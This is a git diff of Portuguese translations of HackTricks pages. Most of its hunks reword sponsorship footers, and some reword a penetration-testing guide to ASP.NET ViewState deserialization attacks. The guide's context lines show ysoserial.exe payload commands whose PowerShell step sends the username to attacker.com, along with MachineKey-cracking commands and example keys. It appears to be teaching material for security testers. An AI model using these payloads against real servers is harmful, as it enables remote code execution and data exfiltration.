* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -95,19 +95,19 @@ payloadTest("test.ser");
|
||||||
```
|
```
|
||||||
## Conclusão
|
## Conclusão
|
||||||
|
|
||||||
Como você pode ver neste exemplo muito básico, a "vulnerabilidade" aqui aparece porque a função **readObject** está **chamando outras funções vulneráveis**.
|
Como você pode ver neste exemplo muito básico, a "vulnerabilidade" aqui ocorre porque a função **readObject** está **chamando outras funções vulneráveis**.
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,12 +4,12 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Confira a postagem incrível em** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
**Confira o incrível post de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
|
|
|
@ -7,10 +7,10 @@
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -39,13 +39,13 @@ As informações do ViewState podem ser caracterizadas pelas seguintes proprieda
|
||||||
|
|
||||||
A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo:
|
A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo:
|
||||||
|
|
||||||
1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, não é necessário um MachineKey e, portanto, não há um método aplicável para identificá-lo.
|
1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária e, portanto, não há método aplicável para identificá-la.
|
||||||
|
|
||||||
2. Para **versões abaixo de 4.5**, se o MAC estiver habilitado mas a Criptografia não estiver, é necessário um MachineKey. O método para identificar o MachineKey é referido como "Blacklist3r."
|
2. Para **versões abaixo de 4.5**, se o MAC estiver habilitado mas a Criptografia não estiver, uma MachineKey é necessária. O método para identificar a MachineKey é referido como "Blacklist3r."
|
||||||
|
|
||||||
3. Para **versões abaixo de 4.5**, independentemente de o MAC estar habilitado ou desabilitado, se a Criptografia estiver habilitada, é necessário um MachineKey. Identificar o MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."
|
3. Para **versões abaixo de 4.5**, independentemente de o MAC estar habilitado ou desabilitado, se a Criptografia estiver habilitada, uma MachineKey é necessária. Identificar a MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."
|
||||||
|
|
||||||
4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) exigem um MachineKey. O MachineKey pode ser identificado usando "Blacklist3r."
|
4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) exigem uma MachineKey. A MachineKey pode ser identificada usando "Blacklist3r."
|
||||||
|
|
||||||
|
|
||||||
### Caso de Teste: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
### Caso de Teste: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
||||||
|
@ -54,7 +54,7 @@ Também é possível desativar completamente o ViewStateMAC definindo a chave de
|
||||||
```
|
```
|
||||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||||
```
|
```
|
||||||
**Identificação de Atributos do ViewState**
|
**Identificando Atributos do ViewState**
|
||||||
|
|
||||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o Mac não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o Mac não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||||
```
|
```
|
||||||
|
@ -63,8 +63,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||||
### Caso de teste 1.5 - Como o Caso de teste 1, mas o cookie ViewState não é enviado pelo servidor
|
### Caso de teste 1.5 - Como o Caso de teste 1, mas o cookie ViewState não é enviado pelo servidor
|
||||||
|
|
||||||
Os desenvolvedores podem **remover o ViewState** de se tornar parte de uma Requisição HTTP (o usuário não receberá esse cookie).\
|
Os desenvolvedores podem **remover o ViewState** de se tornar parte de uma Requisição HTTP (o usuário não receberá esse cookie).\
|
||||||
Pode-se assumir que se o **ViewState** não estiver **presente**, sua implementação está **segura** contra possíveis vulnerabilidades relacionadas à desserialização do ViewState.\
|
Pode-se assumir que se o **ViewState** não estiver **presente**, sua implementação está **segura** contra possíveis vulnerabilidades decorrentes da desserialização do ViewState.\
|
||||||
No entanto, isso não é verdade. Se **adicionarmos o parâmetro ViewState** ao corpo da requisição e enviarmos nosso payload serializado criado usando ysoserial, ainda seremos capazes de alcançar a **execução de código** como mostrado no **Caso 1**.
|
No entanto, isso não é o caso. Se **adicionarmos o parâmetro ViewState** ao corpo da requisição e enviarmos nossa carga serializada criada usando ysoserial, ainda seremos capazes de alcançar a **execução de código** como mostrado no **Caso 1**.
|
||||||
|
|
||||||
|
|
||||||
### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||||
|
@ -84,9 +84,9 @@ Podemos também fazê-lo para a aplicação **como um todo** configurando-o no a
|
||||||
</system.web>
|
</system.web>
|
||||||
</configuration>
|
</configuration>
|
||||||
```
|
```
|
||||||
Como o parâmetro está protegido por MAC desta vez, para executar com sucesso o ataque, primeiro precisamos do chave usada.
|
Como o parâmetro está protegido por MAC desta vez, para executar com sucesso o ataque, primeiro precisamos da chave utilizada.
|
||||||
|
|
||||||
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave usada.
|
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave utilizada.
|
||||||
```
|
```
|
||||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||||||
|
|
||||||
|
@ -95,7 +95,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||||
```
|
```
|
||||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
|
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
|
||||||
|
|
||||||
Pode ser fornecido diretamente com o viewstate e o gerador:
|
Pode ser fornecido com o viewstate e o gerador diretamente:
|
||||||
```
|
```
|
||||||
pip install badsecrets
|
pip install badsecrets
|
||||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||||
|
@ -113,7 +113,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||||||
```
|
```
|
||||||
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||||
|
|
||||||
Para procurar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` pode ser usado:
|
Para pesquisar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` do [**BBOT**](exploiting-\_\_viewstate-parameter.md) pode ser utilizado:
|
||||||
```
|
```
|
||||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||||
```
|
```
|
||||||
|
@ -125,7 +125,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||||
|
|
||||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||||
```
|
```
|
||||||
Em casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo servidor, você **não precisa** fornecer o parâmetro `--generator`, **mas estes sim**:
|
Em casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo servidor, você **não precisa** fornecer o parâmetro `--generator`, **mas estes**:
|
||||||
```bash
|
```bash
|
||||||
--apppath="/" --path="/hello.aspx"
|
--apppath="/" --path="/hello.aspx"
|
||||||
```
|
```
|
||||||
|
@ -135,9 +135,9 @@ Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valo
|
||||||
|
|
||||||
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
||||||
|
|
||||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** estiver definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar a carga útil não criptografada, ela ainda será processada.**
|
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar a carga útil não criptografada, ela ainda será processada.**
|
||||||
|
|
||||||
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina por meio de outra vulnerabilidade como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2**, pode ser usado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina por meio de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2**, pode ser usado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||||
|
|
||||||
* Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do ViewState e a exploração falhará.
|
* Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do ViewState e a exploração falhará.
|
||||||
|
|
||||||
|
@ -151,7 +151,7 @@ Alternativamente, isso pode ser feito especificando a opção abaixo dentro do p
|
||||||
```bash
|
```bash
|
||||||
compatibilityMode="Framework45"
|
compatibilityMode="Framework45"
|
||||||
```
|
```
|
||||||
Como no exemplo anterior, o **valor está criptografado**. Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
|
Como no exemplo anterior, o **valor está criptografado.** Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
|
||||||
|
|
||||||
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave sendo usada:
|
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave sendo usada:
|
||||||
```
|
```
|
||||||
|
@ -168,7 +168,9 @@ Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (co
|
||||||
cd badsecrets
|
cd badsecrets
|
||||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||||
```
|
```
|
||||||
Uma vez que uma chave de Máquina válida é identificada, **o próximo passo é gerar um payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||||
|
|
||||||
|
Uma vez identificada uma chave de Máquina válida, **o próximo passo é gerar um payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||||
```
|
```
|
||||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||||
```
|
```
|
||||||
|
@ -176,7 +178,7 @@ Se você tiver o valor de `__VIEWSTATEGENERATOR`, você pode tentar **usar** o p
|
||||||
|
|
||||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||||
|
|
||||||
Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação out-of-band para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Explorando a Desserialização do ViewState usando Blacklist3r e YsoSerial.NET". Para mais detalhes sobre como funciona o processo de exploração e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar o [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação out-of-band para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em um prova de conceito (PoC) que pode ser encontrado em um recurso intitulado "Explorando a Desserialização do ViewState usando Blacklist3r e YsoSerial.NET". Para mais detalhes sobre como funciona o processo de exploração e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar o [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||||
|
|
||||||
|
|
||||||
### Caso de Teste 6 – ViewStateUserKeys está sendo usado
|
### Caso de Teste 6 – ViewStateUserKeys está sendo usado
|
||||||
|
@ -188,7 +190,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
|
||||||
```
|
```
|
||||||
### Resultado de uma Exploração Bem-sucedida <a href="#poc" id="poc"></a>
|
### Resultado de uma Exploração Bem-sucedida <a href="#poc" id="poc"></a>
|
||||||
|
|
||||||
Para todos os casos de teste, se a carga útil ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com "Erro interno do servidor 500" tendo o conteúdo da resposta "As informações de estado são inválidas para esta página e podem estar corrompidas" e obtemos a solicitação OOB.
|
Para todos os casos de teste, se a carga útil ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com “**Erro interno do servidor 500**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e obtemos a solicitação OOB.
|
||||||
|
|
||||||
Verifique [mais informações aqui]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))
|
Verifique [mais informações aqui]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))
|
||||||
|
|
||||||
|
@ -201,7 +203,7 @@ Verifique [mais informações aqui]([**https://www.notsosecure.com/exploiting-vi
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -214,7 +216,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
